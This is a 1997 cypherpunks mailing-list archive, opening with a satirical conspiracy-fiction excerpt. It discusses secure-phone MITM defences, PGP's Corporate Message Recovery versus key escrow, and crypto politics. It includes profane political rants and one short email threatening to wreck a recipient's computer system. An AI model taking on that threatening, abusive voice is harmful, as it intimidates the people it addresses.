----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Epilogue
   * d'Shauneaux

----------------------------------------------------------------------------

                                  Epilogue
----------------------------------------------------------------------------

Gomez surveyed the wreckage with a discerning eye, before turning toward the
mountains in the distance and fixing upon them with a penetrating stare that
burned like a laser toward the chief target of his hatred, wherever they
might be.

"They are finished." he said, with certainty, turning to the Commander of
his Dark Forces, and instructing him, "Now finish them!"
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                                 d'Shauneaux

Except that you have spent literally a lifetime involved in a world of
shadows, where even those things which are not done with mirrors are
resonating indeterminately and obliquely, then you have little hope of ever
recognizing the true depth to which the world you live in is ruled by
secrecy, subterfuge and intrigue.

Unless, of course, you are a follower of an ancient sage named Dilbert, and
are steeped in the history and lore of Office Politics, in which case you
undoubtedly already have all of the tools you need to understand what I am
about to tell you. (And could probably even teach an old dog-foot soldier
such as myself a few new tricks.)

The lineage of the Author, as well as those of d'Shauneaux and Rom Dos, were
each given information on a basis, not of 'need to know,' but more along the
lines of 'need to figure out.' (That's 'decrypt' or 'decipher' for you
CypherPunks.)
The reason for this was that, at the time of the formation of the Circle of
Eunuchs, the Evil One not only had his tentacles spread throughout society
in general, and the computer industry, in particular, but had also made
great progress in 'encrypting' Reality, so to speak. Even the Magic Circle
did not fully realize the extent or import of this for quite some time, but
they did recognize that they were playing 'catch-up' and needed not only to
learn from the past, but also to reach toward the future.

The Circle of Eunuchs, not being restrained by the need for absolute control
and coordination of their efforts, as the Dark Allies were, made an
astounding amount of penetration into the highest levels of the computer
industry, in a short period of time.
The individuals involved, working on their own or in small guerrilla cells,
were able to 'move camp' at an instant's notice, changing the direction and
focus of their entire career, if need be, which was of great benefit in such
a quickly burgeoning technology.

Despite their astounding success in placing their ersatz players in the
midst of some of the most sensitive arenas of Gomez's grand technological
game, the Circle of Eunuchs knew that they lacked possession of the key that
would unlock the doors of deceit and allow them to expose the malfeasance
underlying the technology that was increasingly ruling both the bodies and
minds of all mankind.
Then, something extraordinary happened...

A no-name individual who would have had to raise his station in life in
order to become known as a bit-player in the computer arena suddenly became
the target of a full-scale attack by the Dark Forces over a seemingly
insignificant program called Pretty Good Privacy.
Phil Zimmerman...
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Sat, 11 Oct 1997 04:19:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Corporate Access to Keys (CAK) Considered Harmful
In-Reply-To: <v03102800b064086075b3@[207.167.93.63]>
Message-ID: <11579.876513953@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



At 9:50 PDT on Friday, October 10, 1997, Tim May wrote:

|I don't think we've yet seen a good example of massive amounts of e-mail
|being examined in a "discovery" process, yet, but we saw the effects on IBM
|during its antitrust issues in the 70s. Basically, every scrap of paper,
|every desk calendar, every internal memo, everything, had to be turned over
|to opposing counsel.
|
|We will almost certainly see some examples of where lawyers demand access
|to all company e-mail.

Several lawsuits about discriminatory denial of tenure have been won partly
based on the contents of email.  The University of Illinois periodically
reminds all staff that email is considered a public record and that they
should conduct their business with that in mind.

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 10 Oct 1997 20:24:57 +0800
To: stewarts@ix.netcom.com
Subject: authentication suggestion for secure phone (Re: computationally infeasible jobs for MITMs)
In-Reply-To: <3.0.3.32.19971009111805.006aedf0@popd.ix.netcom.com>
Message-ID: <199710101215.NAA01268@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bill Stewart <stewarts@ix.netcom.com> writes:
> Another game you can play, with the audio, is to have music playing
> in the background, so Eve not only has to fake Alice's voice, but
> has to fake Alice reading numbers against a background of an
> arbitrarily-selected musical piece.

There are two types of MITM attack:

i) the eavesdropper lets your voice go through

ii) the eavesdropper re-synthesizes your voice, or has two actors one
for Bob, one for Alice holding separate conversations

Your suggestion of having a CD playing in the back-ground only helps
against type i) MITM.  James's method of forcing the MITM to commit to
delivering packets with sizes which he can't deliver similarly only
applies to type i), as does my stego idea.

I think we stand a chance against type i).  Type ii) seems pretty hard
to stop by either manual cleverness (mixing in comments related to the
hash digits) or automated methods (such as James's or my earlier stego
idea).

I mean, heck, the actors could run two completely different
conversations, and weave into the conversation earlier topics covered
with Alice which they wanted to hear responses to, from Bob, and
vice-versa.  The MITM could potentially have as long as he wanted to
think of something clever to say to sound consistent with a comment
made by Alice or Bob relating to their hash digits.  Or he could
simply choose to omit saying anything related to hash digits.  They
could play different CDs, or no CDs, or go buy a copy of the CD, or
have a nice selection on tap as radio stations do (they seem to be
able to play any track with a couple of seconds notice).

I think the only real way to stop MITM to a paranoidly high degree of
certainty is to use authentication and web of trust.

Perhaps you can get a high enough degree of certainty for your
application with preventative measures against type i) MITM firm in
the belief that type ii) MITM is too difficult, or too expensive to
try against you.

I'm not sure it's even that expensive or difficult.  If I was a drug
king pin, or mafia, or military intelligence I wouldn't feel safe with
these approaches alone.  I'd want separate authentication.


Probably another kind of attack would be dangerous too: if the
attacker re-routes my phone call or hi-jacks it prior to set up of
secure comms.  Without authentication I could have a convesation with
a spook instead of Bob Gotti and not know it.  Alice need never know I
called, or may simultaneously, or some time afterwards have a call
from another spook with faked ANI.


Persistence authentication suggestion:

I can see one strong protection feature which isn't currently built in
to Eric's phone which could be, should be I think.  Shouldn't be that
hard to do.

You have the situation currently that you call Bob's number to go
secure, then have a conversation.  Well if you make several calls to
Bob with the first call being MITM free, because the MITM hadn't
singled you out for investigation yet, no use of this fact is made to
reduce the MITM's chance of succeeding next time.

(People who know some about SSH protocols may be guessing what's
coming next).

A way to use the fact that you have had one or more non-MITM'd calls
is for the unit to remember the number and exchange a secret with the
called unit inside the encryption envelope.

The next time you call the same unit (as defined by calling the same
phone number), you use the shared secret to authenticate the call.  If
the other unit can't do this, you get suspicious.


You could do better than using the phone number: you could have the
units exchange public El Gamal or DSA keys (bearing in mind Eric's
understandable avoidance of RSA).  When you call up a unit you first
send it a nonce to sign with it's EG/DSA key.  It signs it and sends
you it's public key.

If you already have the public key, you check that the signature
matches.  If you don't have the public key, you save it for next time.


You probably want to assign the public key some human meaningful value
that can be displayed on the display.  If you have no input device, I
guess a sequence number would do.  (First secured phone you ever call
is called user 1, etc).

Then the user can write down who he thinks each caller is caller
1. Black Unicorn, 2. Lucky Green. 3. Tim May, etc.  You could even
slap a sticker on top of the box with a few places to enter this
information.


In addition this feature means that you can secure one communication
with a PGP emailed table of key words to lookup hash digits and speak
words.  After that secured communication all further communications
are also authenticated.

If you don't use a PGP secured email, well you still have
authenticated that you are at least talking to a persistent MITM.
This in itself is useful, because the MITM may make mistakes, or you
may arrange to call from different numbers arranged by out of band
communications.  If you once get a different key, you get suspicious,
as the once could be the only time you got through to the real Bob, as
opposed to the MITM.

Another way to authenticate yourself would be if you met face-to-face
with someone you plan to use the phone with in an office with an
internal switch board, or with a test rig such as Eric has to
demonstrate his phones.  (How easy would it be to have the units
directly plugable -- plug them together, plug a phone in talk make
secured call, remember or write down that user 3 is Tim May.


I like this use of persistence authentication.  What do you think
Eric?


Another method, which could be used in addition would be for Eric to
install an additional key into the units, and certify that key.  If
the sale is in person, perhaps you could even personalise them with
the users name & dob or something unique (users choice).  At least
that way Eric gets to profit from the MITM/spooks as they've got to
buy a unit to get a certified key :-)

Course it makes Eric, or Eric's laptop, a _fat_ target, but would be
cheaper than including full web of trust certification capability, and
could add some utility.


Anyway, I like the persistence authentication idea.  And I'd encourage
Eric to build it in.

Adam
--
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 11 Oct 1997 01:35:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: America as a Shake Down Extortion State
Message-ID: <800ba9b5ce70bcdb069766023ed9e797@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Ryan Anderson wrote:
>Tim May wrote:
>>The debate over crypto almost certainly fits this pattern. If and when a
>>domestic ban on crypto is likely to pass and be signed, companies like RSA
>>and PGP will face extinction. This will then "incentivize" executives of
>>these companies to release funds, in the form of campaign
>
>Actually, I think it's a little more likely that they'll get disgusted with 
>Congress, and collect some money for the ACLU to use to pay their lawyers in 
>the instant filing of the consitutionality challenge.  
>
>Seems to be a much more productive way to spend your money (long-term).

Bullshit!  Fuck the lawyers!

By wasting time and money in the courts bickering about the stupid laws that 
buffoons in Congress pass in order to justify their existence, we are only 
ignoring the real issue: you cannot use the system to change the system.

What amazes me is the amount of time and energy well-intentioned folks piss 
away trying to convince legislators to "do the right thing".  By paying 
attention to these idiots, we are in effect legitimatizing their actions.  
If enough people come to their senses and ignored this bogus legislation, we 
will all be much better off in much less time.

Tim May wrote elsewhere:
>Face it, Amerika is basically a Mafia shake-down operation, with the power
>of the State used to shake down protection money.
>
>This is why I favor crypto anarchy: by concentrating on ignoring laws and
>deploying technology, this extortion state system is bypassed.

Exactly.

Spend the money on deploying the technology.  Don't waste it lining the 
pockets of scum legislators and their litigious brethren.

The big question is do PGP, RSA, Netscape et al have the balls to stand up
for themselves and tell the DC politcos to fuck off?  We can only hope...

[ Imastun ]

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

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tBZJbWFzdHVuIDxsaWJlcnR5QHJpc2s+iQCVAwUQND5KIXC/ZQW0eQF1AQESOwP+
MPNlXlv/hzqoAaqXu4RpNR02XcMLOB5DwhG1pLij3Tt6uYfRqZul8eJ9LxvQ0R/R
eT7g+j3dNpjcOSdCci4VYAPfdBK78esgDIn61cOiN29fGRwjJOO5rup9RvXBQt+T
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- -----END PGP PUBLIC KEY BLOCK-----


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Version: 2.6.2

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gbx6t9X8hb0vC2LWOA/UcXZQBoqfLEXexm4LehKU0LpDL7ggy6SBw8PDEOr3InSh
f15W51XTv/0=
=OBNd
-----END PGP SIGNATURE-----











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Sat, 11 Oct 1997 05:25:51 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: secure phone on a PCI card? (Re: authentication suggestion for secure phone) computationally infeasible jobs for MITMs)
In-Reply-To: <199710101622.RAA03364@server.test.net>
Message-ID: <199710102057.NAA02969@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back writes:

> John Deters <jad@dsddhc.com> writes:
> > At 01:15 PM 10/10/97 +0100, Adam Back you wrote:
> > >Persistence authentication suggestion:
> > 
> > The problems with this solution are twofold:
> > 
> > 1.  Eric may have to redesign the unit to have persistent read-write
> > storage.  And maybe a *lot* of storage, if you use it a lot.  Maybe a lot
> > of expen$ive $torage at that.  His phone is already priced way out of the
> > consumer market, let's not add to that.

Hey, it's only a factor of two too expensive...  Moore's law is your friend...

> If it cost a lot extra, that could be a problem, yes.  I am unclear on
> how much extra this would cost.  Apart from an EEPROM, it's a protocol
> and software update right?

The units currently have 2K bytes of EEPROM and 256K bytes of FLASH.
A little under half the flash is currently available, though it will
probably be taken advantage of during remote upgrades (coming soon to
a crypto phone near you...)  There's plenty of room for long term
storage of a reasonable set of public keys.  Private or symmetric keys
present a problem, since then you've got a long term secret to store
somewhere.

To forestall a bunch of questions about remote upgrades:  

    (1) there is a jumper on the write line to the FLASH.  If you're
        totally paranoid, leave it in the "Read Only" position.
    (2) upgrades will be digitally signed.
    (3) It'll be a "pull" upgrade.  I.e., you have to request the
        upgrade.  They're not just pushed down your throat.


> On the cost front, I am interested as to thoughts on how easy it would
> be for Eric to put one of his phones on a PCI card, or PCMCIA card.
> Presumably you could make some major cost savings in this way, in that
> you could potentially use the computers modem, memory, processor.

I can pretty much be done all in software on a laptop.  
I've explained the details several times.  Perhaps if folks we're
paying me lots of money for the info, they would listen closer ;-)

The primary thing you lose is the simple integration with the
telephone.  A small (cheap) hardware hack can work around this.  Yes,
I know you'd prefer not to have any non-standard hardware, but on the
other hand, if the system is a pain in the ass to use, nobody is going
to use it.

> I think Eric's phone uses a 14.4k modem chip (or lower?) so it's not
> the bit rate as such, but more the lack of higher quality audio
> compression codecs which are possible in hardware.  (Right?)  

The unit currently runs at 14.4k.  A 4800 b/s fallback mode is
currently under development.

> Also the fact that with PGPfone you're using PC speakers, and room
> microphone probably makes it seem worse than it could be.

Fixable with software and MIPS (you've got those).  Take a look at
those nice USR and Polycom full duplex speaker phones.  There's
nothing magic in them.  Notice the neat little song they play when you
power them up.  It's a training tone used to compute the impulse
response of the room.

> Course adding the whole lot to a GSM phone would be even neater, but
> then that'd get expensive again.  Wonder how much functionality could
> be borrowed from components already present for the normal GSM phone
> hardware, and how much saving you could get from that.

Pretty much everything you need is already there.  It's a question of
integration.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sat, 11 Oct 1997 05:39:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Defeating MITM with Eric's Secure Phone
Message-ID: <199710102112.OAA29175@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Adam Back wrote:
>Monty Cantsin writes:
>> My apologies if this has already been discussed, but wouldn't this be
>> a straightforward solution?
>
>John Kelsey described the same system.
>
>[adding hex passphrase digits exchanged via PGP to display digits]
>
>> Any flaws?
>
>See my other recent post in this thread... I think it doesn't work
>because Mallet can recover the passphrase.  You must remember that
>when Mallet is actively doing a MITM attack he knows the digits on
>the display of each party.  With that info he can recover the
>passphrase by subtracting.  Then he can give Alice the correct
>checksum for the link A<->M and Bob the correct checksum for the link
>M<->B.

Oh, I get it.  Thanks.

And now I get why people want to assign passwords to each digit.
Mallory has no way of knowing all the mappings, even when one is
revealed.

Just to get a feel for what this looks like, a table like this one
could be exchanged in advance of each telephone call.  (Nothing here
is my invention, of course.)  The columns are used once successively
for each digit.

0: Tientsin           bedeviling         Menominee          bonneted           coincides          quotation
1: handling           Bernadine          prouder            Navaho             fittingly          Swinburne
2: degrading          Puritanizes        allophone          acquaint           jack               renditions
3: clientele          homo               Verderer           diskettes          overview           surmounts
4: delimiting         probes             sobering           modulating         situated           jelly
5: bewail             reflex             multistage         plastics           stigmata           scandal
6: Genoa              divider            synonym            bipeds             tale               denominators
7: aborts             carbons            welding            amalgam            chain              innovation
8: salvaging          Fargo              transitional       relishes           Ozarks             meditations
9: overlapping        Tehran             desperation        initiated          intimidate         beggars
A: whereby            muffins            Soddy              miniatures         diagnostic         proportionment
B: flour              pistils            aback              despatched         Rydberg            tales
C: lifespan           sallying           Arianist           kindness           side               corporal
D: wrongs             nervousness        minting            totaller           feather            copyrightable
E: intoxicated        Yukon              Boyd               response           ingredients        numismatist
F: stairway           imitation          consulted          printably          anesthetizes       interval

This has about 85 bits of entropy assuming the words are randomly
selected from a pool of 20,000.  As Mallory only gets one try, those
are very good odds.  This is completely practical and secure because
the table is easy to generate and exchange.

(Not that an in-band method wouldn't be way cool!)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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ps2Nj0M71x9R8W9Jukg1eBw/xoyihldEo4SGrpDECv+Iawu+HSgZ
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-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Fri, 10 Oct 1997 23:01:46 +0800
To: cypherpunks@toad.com
Subject: Freeh Replaced! / Re: New Rule
Message-ID: <izNtSSPUk5mHvFkJcMh8eA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



The New Dictator wrote:
>From now on, no one can drink coffee out of yellow cups, ok?
> 
> The reason for this is because there are child molesters.
> 
> Thank you for your cooperation, or I will kill you.

Must have been embarassing for Freeh to have gotten replaced by a child.

Guess it has something to do with the new 'Truth in Tyranny' laws...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Sat, 11 Oct 1997 06:09:07 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Re: PGP CAKware & IETF controlled Open-PGP standard
In-Reply-To: <199710102108.WAA05223@server.test.net>
Message-ID: <3.0.3.32.19971010145005.00a32360@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



I am adamantly opposed to any of PGP's business features being MUST
features of OpenPGP. If they were, then our freeware and personal privacy
products wouldn't be conforming applications, and we have *no* intention of
putting them in those products. Wouldn't that be an interesting situation?

I am strongly opposed the business features being SHOULD features. If I
were the only one arguing against them being SHOULD features, I'd make my
opposition clear and then shut up.

I am in favor of them being MAY features, along with a big section on
polite use. 

	Jon



-----
Jon Callas                                         jon@pgp.com
Chief Scientist                                    555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                          Suite 570
(415) 596-1960                                     Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Sat, 11 Oct 1997 06:07:04 +0800
To: ietf-open-pgp@imc.org
Subject: Why Corporate Message Recovery isn't Key Escrow
Message-ID: <3.0.3.32.19971010145353.00ad9330@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

A number of people have asserted that the Corporate Message Recovery
feature is
key escrow. From where I sit, the difference is easy to see. My definition of
"key escrow" is that another person or organization keeps a copy of the user's
secret key.

Here's an example, based on actual customers who use key escrow to manage
their
data:

This corporation uses PGP for a number of things. Email, engineering plans,
CAD
drawings, and so on. They've done so at least since the days when we were
Viacrypt, and I believe they even used PGP 2.x.

When an employee arrives at this company, they create a key pair for the new
employee, hand it to them on a floppy, keeping a duplicate floppy with the
keypair on it, which they toss into a safe. Literally. This is key escrow.
They
do this because they can't afford to lose their files and messages. Their
policies require them to keep the secret keys, as if they were the same as
keys
to offices or file cabinets.

I don't know about you, but I'm appalled. Nonetheless, they're our
customers. In
spite of inheriting them, we have a responsibility as businesspeople to at
least
listen to their concerns. 

- From our standpoint, the issue gets even touchier. They don't like what
they're
doing, and they want us to give them a better way to manage their data. Does
anyone really believe that only moral response is to flinch and turn away?

I'd like to be in a situation where I didn't have to deal with this. Wanna
trade
positions? I'll sit over there and cluck my tongue about how adding an extra
recipient weakens security while you figure out how to help these folks out of
the mess they're in. While you're at it, I'll pen a few lines about how giving
clean needles to addicts undermines society, and handing out condoms
encourages
kids to have sex. Trust me, it's less nerve-wracking than what we have to
do to
solve this problem, which involves running through hypothetical scenario after
hypothetical scenario, balancing the user's privacy against the organizations
property rights, the privacy and property rights of one organization against
that of another, and so on.

Corporate Message Recovery isn't key escrow for a number of reasons. First, it
doesn't involve keeping a copy the end-user's secret key. I hope that's
obvious
now. Second, the system behaves very differently. 

With a key escrow system, there is a superb McGuffin (which is what Alfred
Hitchcock called the crux of a mystery, like the falcon in The Maltese
Falcon) -
 it's the safe. Break into the safe, or lend its contents out, and all Hell
breaks loose. Whoever has those keys (which easily fit on a single Zip
disk) has
the company at its mercy. They can decrypt or sign anything they care to.
There
is a great thriller to be written here.

It isn't so with a CMRK. The worst possible way to use the feature is to
have a
single, company-wide CMRK. If that gets lost, the thriller you can write isn't
nearly as interesting. Yup, you can steal any of the plans, read all the mail,
and so on. That's bad. It's deplorable, actually. But it isn't a difference
that
makes no difference. At least there isn't a gang of keys out there that can
sign
anything with anyone's ID.

This is not the only way to use Corporate Message Recovery, it's just the
worst
way. Remember, it's just a notation in the self-signature that states,
"When you
encrypt to me, encrypt to X." That's any X. You can have a different CMRK for
every department, every workgroup, or even every user.

A sophisticated policy might be that every user sets their supervisor's key to
be their CMRK. Another is that everyone in Department X sets their office
mate,
or lab partner, or other person. You can have anything that suits your group,
from Recovery Central, to Recovery Hierarchy, to Recovery Buddy System.

The significant improvement that PGP's web of trust has over a traditional
hierarchical system is that you can set up a top-down system for validity, but
you don't have to (and in our opinion, shouldn't). Analogously, the
significant
improvement that Corporate Message Recovery has over key escrow is that you
can
tailor a recovery system to your needs (including and especially deciding it's
not for you). 

	Jon



-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBND6j8H35wubxKSepEQI58gCfQuiMZCyfe7cD1F2nNgFtluQqGXMAoJUh
yHFMApAlDjzwRTCspBi7p9t3
=a2Zo
-----END PGP SIGNATURE-----


-----
Jon Callas                                         jon@pgp.com
Chief Scientist                                    555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                          Suite 570
(415) 596-1960                                     Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Sat, 11 Oct 1997 06:34:06 +0800
To: ietf-open-pgp@imc.org
Subject: Why Corporate Message Recovery isn't GAK
Message-ID: <3.0.3.32.19971010151206.00a122b0@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

There are two things I will discuss in this missive:

(1) The assertion that Corporate Message Recovery is "just like Clipper"
and why this is not true.
(2) The fear a number of people have expressed that Corporate Message
Recovery (CMR) could be used by the US government to slide in GAK. 

I think we're agreed that CMR isn't itself GAK and I'll talk some about why
it isn't with (1).

CMR isn't like Clipper:

* Clipper was a 64-bit key. CMR symmetric keys are full-strength keys (128
bits or more), backed with a full-strength public key.

* Clipper's key was set in hardware by the manufacturer, and users were
required to use it. A CMR key is a software-enabled key, no user is ever
required to use it. There are cases in which a user might "volunteer" to
use a CMR because they work for someone who requires it, but that's a
problem we'll address with the PGP Secure Resume Server which allows
headhunters to securely and anonymously find people who've made bad career
decisions.

As a corollary of of the previous paragraph, there's no reasonable
guarantee with a Clipper device that you haven't been black-bagged with an
insecure key. Using a CMR may be unwise, but at least you knowingly did it
to yourself.

* A CMR key can be revoked, reissued, or changed. You can periodically
change it as a matter of policy. You can even stop using it. Clipper's was,
again, set in hardware, with no option of not using it. 

* The Clipper symmetric algorithm was secret; CMR keys use publicly
available algorithms.

* With Clipper, there was always a concern that an outside agency had the
keys. This is true with a number of other systems (the so-called key
recovery systems), and is the reason that a number of them are lumped
together with the term GAK. Note that the user-organization creates a CMR
key, and the end-user enables it. If any government gets access to this
key, it is because either (1) they solved the Discrete Logarithm Problem,
(2) they broke the public CMR key, (3) they black-bagged your CMR key, or
(4) they are using a subpoena, warrant, or discovery to get the key. We're
working on a way around (1), we can't do anything about (2) or (3), but
these are fine reasons not to use CMR! If you're beset by (4), you need
lawyers, not cryptographers.

* With Clipper, there was a central repository of all the keys. With CMR,
there is not. I discussed that in detail in my message, "Why Corporate
Message Recovery isn't Key Escrow."

I have noticed that a number of people have the tacit assumption that
business people and corporations are in cahoots with the FBI, waiting to
hand over everyone's secret key. As in all parts of life, there are many,
many businesspeople and corporate execs who are not particularly moral. But
I don't think that their immorality takes this form. If we could examine
the dark, secret thoughts of a corporate scumwaffle -- the ones that he
*really* hopes don't hit the papers -- I sincerely doubt that, "Oh, Louis,
I love it when you rummage my drawers" is among them.

Now then, the next topic is the fear that CMR will be used in some
insidious government plot to slip in GAK everywhere.

I worry about this, too. But I don't think it's feasible that CMR can be a
stalking horse for GAK. If the government wants to GAK-enable all PGP,
they'll have to have a plan similar to this:

(1) Buy PGP, Inc. Since our worth is less than the black portion of the
Federal Budget, this is not impossible. Would that it were otherwise. Heck,
we're probably worth less than the black portion of New Zealand's budget.

(2) Fire all the current development staff. This isn't very hard. All the
new bosses have to do is round us up in a meeting and announce, "The next
version of PGP will have a 40-bit export option." We'll say, "Not while
*we're* working for the company!" They'll say, "Fine with us." Keep your
eye on the secure resume server for clues of this event.

(3) Hire a new staff. This is one of the places that the plan might fall
apart. We have such a hard time finding anyone who's qualified to work for
us that we have reqs we can't seem to fill. I suppose, though, that they'll
be able to find some people willing to relocate from Maryland.

(4) Stop the OpenPGP process in the IETF. Some people think that we did
this as part of our Evil Plan to Take Over the World by Giving Away
Software (hey, it almost worked for Netscape). Other people think it's part
of our Evil Plan to Take Over Crypto by Using Unpatented Algorithms. I can
neither confirm nor deny these, but I *will* tell you that it's part of our
Sniveling Plan To Convince the Feds They Can't Kill PGP by Killing Us,
which the source code books also fall into. If OpenPGP succeeds, then
anyone can build an interoperable version of PGP, not just us, Highware,
Systemics, etc.

(5) Wait until bitrot makes all those existing copies of PGP stop working.
I could make a few catty remarks about how quickly existing software stops
working on new releases of OSes, but you've probably thought of them yourself.

There are also a few details left, like shutting down all those
international FTP sites, but hey, they're the government, they're omnipotent.

	Jon



- -----
Jon Callas                                         jon@pgp.com
Chief Scientist                                    555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                          Suite 570
(415) 596-1960                                     Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBND6mO335wubxKSepEQKpgQCeNxWHHjIucyzRrQV429PKM0sTykAAnjiz
byD3SzToLdfkGq+mIyUHji6M
=r8nx
-----END PGP SIGNATURE-----


-----
Jon Callas                                         jon@pgp.com
Chief Scientist                                    555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                          Suite 570
(415) 596-1960                                     Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sat, 11 Oct 1997 06:44:03 +0800
To: Jim Choate <cypherpunks@toad.com>
Subject: Re: FCPUNX:The Sovereign Individual - ignorant authors
Message-ID: <199710102228.PAA19277@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:12 PM 10/9/97 -0500, Jim Choate wrote:
> This chapter deals with various aspects of social issues (eg rise of
> national languages) and how they led to the growth of nationalism in
> general. Toward the end of the chapter (pp. 265 in the hardback) these
> idiots (don't know a better term) actualy have the audactity to claim that
> Stephen Jay Gould is a neo-creationist,

This appears to me to be an accurate depiction of Stephen Jay Gould's
views.  He claims that humans are fundamentally different from other
animals in this regard, and has frequently been ridiculed on this account.

I have read some of his writings, for which he was ridiculed, and the
ridicule and contempt appears justified to me.

> The author of this section has apparently never read a word that Gould has
> written. Gould is known as a leading supporter of Punctuated Equilibria and
> its various spawn,

I have read a fair bit of Gould.  His work on the evolution of non humans is 
perfectly plausible though controversial.

His work on humans is shear crap and is not regarded by the relevant experts
in the relevant fields as legitimate science.  

In his field, he is a innovator.

Outside his field, he is a crackpot, similar to the flat earthers and the
people who claim that Socrates was black, demonstrating that even trained
scientists can degenerate into nuttery when they go beyond their area of
expertise.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bianca <bianca@dev.null>
Date: Sat, 11 Oct 1997 06:45:18 +0800
To: adultage@adultage.com
Subject: Fuck You!
Message-ID: <343EADC9.1317@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



I found your address, despite your subterfuge, and I am going to fuck
up both you and your computer system.
I don't like fuckwads sending bullshit to my email.

Fuck You
(& the horse you rode in on)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 01:21:13 +0800
To: jad@dsddhc.com
Subject: secure phone on a PCI card? (Re: authentication suggestion for secure phone) computationally infeasible jobs for MITMs)
In-Reply-To: <3.0.3.32.19971010100231.00a56c60@labg30>
Message-ID: <199710101622.RAA03364@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




John Deters <jad@dsddhc.com> writes:
> At 01:15 PM 10/10/97 +0100, Adam Back you wrote:
> >Persistence authentication suggestion:
> 
> The problems with this solution are twofold:
> 
> 1.  Eric may have to redesign the unit to have persistent read-write
> storage.  And maybe a *lot* of storage, if you use it a lot.  Maybe a lot
> of expen$ive $torage at that.  His phone is already priced way out of the
> consumer market, let's not add to that.

If it cost a lot extra, that could be a problem, yes.  I am unclear on
